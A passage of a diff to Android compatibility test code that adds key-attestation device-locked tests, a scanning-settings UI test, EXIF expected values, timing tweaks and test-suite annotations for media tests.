+++ b/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
@@ -83,6 +83,13 @@
         return cursor;
     }
 
+    public void testGetWrappedCursor() {
+        final Cursor expected = getCursor();
+        CursorWrapper cursorWrapper = new CursorWrapper(expected);
+
+        assertSame(expected, cursorWrapper.getWrappedCursor());
+    }
+
     public void testGetCount() {
         CursorWrapper cursorWrapper = new CursorWrapper(getCursor());
         int defaultCount = cursorWrapper.getCount();
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index 8eb1966..8c999db 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -35,6 +35,8 @@
     }
 #define VK_CALL(a) ASSERT(VK_SUCCESS == (a))
 
+#define TIMEOUT_30_SEC 30000000000
+
 static const float vertexData[] = {
         // L:left, T:top, R:right, B:bottom, C:center
         -1.0f, -1.0f, 0.0f, // LT
@@ -862,7 +864,7 @@
     };
     VK_CALL(vkQueueSubmit(mDeviceInfo->queue(), 1, &submitInfo, mFence))
 
-    VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, 100000000));
+    VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, TIMEOUT_30_SEC));
 
     const VkSwapchainKHR swapchain = mSwapchainInfo->swapchain();
     const VkPresentInfoKHR presentInfo = {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index bbba7a1..a2025bd 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -2111,7 +2111,7 @@
     public void testWrapHardwareBufferHoldsReference() {
         Bitmap bitmap;
         // Create hardware-buffer and wrap it in a Bitmap
-        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, false)) {
+        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, true)) {
             // Fill buffer with colors (x, y, 42, 255)
             nFillRgbaHwBuffer(hwBuffer);
             bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 204d97f..8f4fc28 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
 	android-icu4j-tests
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_PACKAGE_NAME := CtsIcuTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index e3f28fa..50b965b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -20,6 +20,7 @@
 import android.platform.test.annotations.RestrictedBuildTest;
 
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_EC;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_RSA;
@@ -48,11 +49,13 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.either;
 import static org.junit.matchers.JUnitMatchers.hasItems;
 
 import com.google.common.collect.ImmutableSet;
+import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.Context;
 import android.os.Build;
@@ -141,7 +144,6 @@
         assertEquals(0, parseSystemOsVersion("99.99.100"));
     }
 
-    @RestrictedBuildTest
     public void testEcAttestation() throws Exception {
         // Note: Curve and key sizes arrays must correspond.
         String[] curves = {
@@ -159,6 +161,10 @@
                 KM_PURPOSE_SIGN, KM_PURPOSE_VERIFY, KM_PURPOSE_SIGN | KM_PURPOSE_VERIFY
         };
 
+        // Skip the test if there is no secure lock screen
+        if (!hasSecureLockScreen()) {
+            return;
+        }
         for (int curveIndex = 0; curveIndex < curves.length; ++curveIndex) {
             for (int challengeIndex = 0; challengeIndex < challenges.length; ++challengeIndex) {
                 for (int purposeIndex = 0; purposeIndex < purposes.length; ++purposeIndex) {
@@ -220,6 +226,41 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testEcAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge(new byte[128])
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_EC, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testEcAttestation_KeyStoreExceptionWhenRequestingUniqueId() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
@@ -243,7 +284,6 @@
         }
     }
 
-    @RestrictedBuildTest
     public void testRsaAttestation() throws Exception {
         int[] keySizes = { // Smallish sizes to keep test runtimes down.
                 512, 768, 1024
@@ -285,6 +325,10 @@
                 },
         };
 
+        // Skip the test if there is no secure lock screen
+        if (!hasSecureLockScreen()) {
+            return;
+        }
         for (int keySize : keySizes) {
             for (byte[] challenge : challenges) {
                 for (int purpose : purposes) {
@@ -338,6 +382,40 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testRsaAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge("challenge".getBytes())
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_RSA, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testAesAttestation() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_ENCRYPT)
@@ -740,7 +818,7 @@
                         is(KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT));
                 assertThat(attestation.getKeymasterVersion(), either(is(2)).or(is(3)).or(is(4)));
 
-                checkRootOfTrust(attestation);
+                checkRootOfTrust(attestation, false /* requireLocked */);
                 assertThat(teeEnforced.getOsVersion(), is(systemOsVersion));
                 assertThat(teeEnforced.getOsPatchLevel(), is(systemPatchLevel));
                 break;
@@ -772,13 +850,40 @@
                 softwareEnforced.getRootOfTrust());
     }
 
-    private void checkRootOfTrust(Attestation attestation) {
+    private void checkDeviceLocked(Attestation attestation) {
+        assertThat("Attestation version must be >= 1",
+                attestation.getAttestationVersion(), greaterThanOrEqualTo(1));
+
+        int attestationSecurityLevel = attestation.getAttestationSecurityLevel();
+        switch (attestationSecurityLevel) {
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+            case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
+                assertThat("Attestation security level doesn't match keymaster security level",
+                        attestation.getKeymasterSecurityLevel(), is(attestationSecurityLevel));
+                assertThat(attestation.getKeymasterVersion(), greaterThanOrEqualTo(2));
+
+                // Devices launched in Android 10.0 (API level 29) and after should run CTS
+                // in LOCKED state.
+                boolean requireLocked = (
+                        SystemProperties.getInt("ro.product.first_api_level", 0) >= 29);
+                checkRootOfTrust(attestation, requireLocked);
+                break;
+
+            case KM_SECURITY_LEVEL_SOFTWARE:
+            default:
+                // TEE attestation has been required since Android 7.0.
+                fail("Unexpected attestation security level: " +
+                     attestation.securityLevelToString(attestationSecurityLevel));
+                break;
+        }
+    }
+
+    private void checkRootOfTrust(Attestation attestation, boolean requireLocked) {
         RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
-        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= 29) {
-            // Devices launched in Q and after should run CTS in LOCKED state.
+        if (requireLocked) {
             assertTrue(rootOfTrust.isDeviceLocked());
             assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
         }
@@ -948,4 +1053,15 @@
             }
         }
     }
+    /*
+     * Device that don't report android.software.device_admin doesn't have secure lock screen
+     * because device with secure lock screen MUST report android.software.device_admin .
+     *
+     * https://source.android.com/compatibility/7.0/android-7.0-cdd.html#3_9_device_administration
+     *
+     */
+    private boolean hasSecureLockScreen() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
+    }
 }
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index a46b19c..89ee843 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -856,9 +856,21 @@
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
+        //onSetEnabled in LMS is handle in thread, it's not synchronized ,
+        //need add delay here or will cause check failed
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         try {
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
new file mode 100644
index 0000000..c455751
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.database.ContentObserver;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.CddTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests if system settings app provides scanning settings.
+ */
+public class ScanningSettingsTest extends AndroidTestCase {
+    private static final String TAG = "ScanningSettingsTest";
+
+    private static final int TIMEOUT = 8_000;  // 8 seconds
+    private static final String SETTINGS_PACKAGE = "com.android.settings";
+
+    private static final String WIFI_SCANNING_TITLE_RES =
+            "location_scanning_wifi_always_scanning_title";
+    private static final String BLUETOOTH_SCANNING_TITLE_RES =
+            "location_scanning_bluetooth_always_scanning_title";
+
+    private UiDevice mDevice;
+    private Context mContext;
+    private String mLauncherPackage;
+    private PackageManager mPackageManager;
+
+    @Override
+    protected void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        mPackageManager = mContext.getPackageManager();
+        final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
+        launcherIntent.addCategory(Intent.CATEGORY_HOME);
+        mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
+                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+    }
+
+    @CddTest(requirement = "7.4.2/C-2-1")
+    public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    @CddTest(requirement = "7.4.3/C-4-1")
+    public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
+                Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    private void launchScanningSettings() {
+        // Start from the home screen
+        mDevice.pressHome();
+        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+
+        final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
+        // Clear out any previous instances
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+    }
+
+    private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
+            String settingKey) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final ContentObserver observer = new ContentObserver(
+                new Handler(handlerThread.getLooper())) {
+            @Override
+            public void onChange(boolean selfChange) {
+                super.onChange(selfChange);
+                latch.countDown();
+            }
+        };
+        resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
+        pref.click();
+        try {
+            latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        handlerThread.quit();
+        resolver.unregisterContentObserver(observer);
+        assertEquals(0, latch.getCount());
+    }
+
+    private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
+            throws PackageManager.NameNotFoundException {
+        final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
+        final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
+        final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
+        final ContentResolver resolver = mContext.getContentResolver();
+        final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
+
+        // Click the preference to toggle the setting.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+
+        // Click the preference again to toggle the setting back.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+    }
+}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index cda9bfd..ead5a7d 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -89,7 +89,7 @@
     android.test.runner.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant mts
 
 LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
 
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 11c2efd..3fe06b0 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -28,6 +28,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>160</item>
+        <item>8</item>
         <item>SAMSUNG</item>
         <item>SM-N900S</item>
         <item>2.200</item>
@@ -61,11 +65,15 @@
         <item>0</item>
         <item>false</item>
         <item>true</item>
-        <item>572</item>
+        <item>584</item>
         <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>414</item>
+        <item>4</item>
         <item>LGE</item>
         <item>Nexus 5</item>
         <item>2.400</item>
@@ -93,7 +101,7 @@
     </array>
     <array name="lg_g4_iso_800_dng">
         <item>true</item>
-        <item>0</item>
+        <item>12570</item>
         <item>15179</item>
         <item>256</item>
         <item>144</item>
@@ -104,6 +112,10 @@
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>102</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -137,11 +149,15 @@
         <item />
         <item />
         <item>true</item>
-        <item>1662</item>
+        <item>1692</item>
         <item>24</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>84</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -175,11 +191,15 @@
         <item />
         <item />
         <item>true</item>
-        <item>3143</item>
+        <item>3155</item>
         <item>24</item>
         <item>37.423</item>
         <item>-122.162</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>210</item>
+        <item>4</item>
         <item>htc</item>
         <item>Nexus 9</item>
         <item>1.2904</item>
@@ -218,6 +238,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>32104</item>
+        <item>5</item>
         <item>SONY</item>
         <item>DSC-RX100M3</item>
         <item>2.0000</item>
@@ -256,6 +280,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>288</item>
+        <item>6</item>
         <item>Canon</item>
         <item>Canon PowerShot G7 X</item>
         <item>8.0000</item>
@@ -294,6 +322,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>318</item>
+        <item>9</item>
         <item>FUJIFILM</item>
         <item>X20</item>
         <item>3.6000</item>
@@ -321,7 +353,7 @@
     </array>
     <array name="nikon_1aw1_nef">
         <item>true</item>
-        <item>0</item>
+        <item>963072</item>
         <item>57600</item>
         <item>160</item>
         <item>120</item>
@@ -332,6 +364,10 @@
         <item>53.83652</item>
         <item>10.69828</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>336</item>
+        <item>18</item>
         <item>NIKON CORPORATION</item>
         <item>NIKON 1 AW1</item>
         <item>5.6000</item>
@@ -370,6 +406,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>298</item>
+        <item>6</item>
         <item>NIKON</item>
         <item>COOLPIX P7800</item>
         <item>2.0000</item>
@@ -408,6 +448,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>266</item>
+        <item>20</item>
         <item>PENTAX</item>
         <item>PENTAX K-5</item>
         <item>8.0000</item>
@@ -446,6 +490,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>2148</item>
+        <item>24</item>
         <item>OLYMPUS IMAGING CORP.</item>
         <item>E-PL3</item>
         <item>8.0000</item>
@@ -484,6 +532,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>874</item>
+        <item>10</item>
         <item>Panasonic</item>
         <item>DMC-GM5</item>
         <item>8.0000</item>
@@ -522,6 +574,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>98</item>
+        <item>8</item>
         <item>SAMSUNG</item>
         <item>NX3000</item>
         <item>5.6000</item>
diff --git a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
index 9272d58..e24339f 100644
--- a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
@@ -24,6 +24,7 @@
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 public class AsyncPlayerTest extends AndroidTestCase {
 
     public void testAsyncPlayer() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 0666efe..186f322 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -22,6 +22,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioAttributesTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioEffectTest.java b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
index ae8458c..71da50b 100644
--- a/tests/tests/media/src/android/media/cts/AudioEffectTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
@@ -37,6 +37,7 @@
 import java.util.UUID;
 
 @AppModeFull(reason = "Dynamic congic not supported")
+@NonMediaMainlineTest
 public class AudioEffectTest extends PostProcTestBase {
 
     private String TAG = "AudioEffectTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
index f156ada..58083d0 100644
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -28,6 +28,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFocusTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioFocusTest";
 
@@ -353,4 +354,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 221dcfa..4149d39 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -21,6 +21,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFormatTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 4aa72d0..839a97e 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -67,6 +67,7 @@
 import java.util.List;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
     private final static String TAG = "AudioManagerTest";
 
@@ -626,6 +627,11 @@
         int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
 
         for (int stream : streams) {
+
+            if (mIsSingleVolume && stream != AudioManager.STREAM_MUSIC) {
+                continue;
+            }
+
             // set ringer mode to back normal to not interfere with volume tests
             mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
 
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
index 8e216e1..0f1ba92 100644
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
@@ -28,6 +28,7 @@
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioNativeTest extends CtsAndroidTestCase {
     public static final int MAX_CHANNEL_COUNT = 2;
     public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index 4c234ce..c2c2a34 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -68,6 +68,7 @@
  * Currently the test that some audio was recorded just check that at least one sample is non 0.
  * A better check needs to be used, eg: compare the power spectrum.
  */
+@NonMediaMainlineTest
 public class AudioPlaybackCaptureTest {
     private static final String TAG = "AudioPlaybackCaptureTest";
     private static final int SAMPLE_RATE = 44100;
diff --git a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
index 2e900ad..de36d2b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
@@ -28,6 +28,7 @@
 import java.util.Locale;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioPresentationTest extends CtsAndroidTestCase {
     private String TAG = "AudioPresentationTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6ead39e..5509682 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -46,6 +46,7 @@
 /**
  * Tests for media framework behaviors related to app ops.
  */
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordAppOpTest {
     private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 90a5a3f..6ea560a 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -67,6 +67,7 @@
 import java.util.List;
 
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordTest {
     private final static String TAG = "AudioRecordTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 665bfa1..600bf8c 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -28,6 +28,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecord_BufferSizeTest extends AndroidTestCase {
 
     private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index c285be7..d41284a 100644
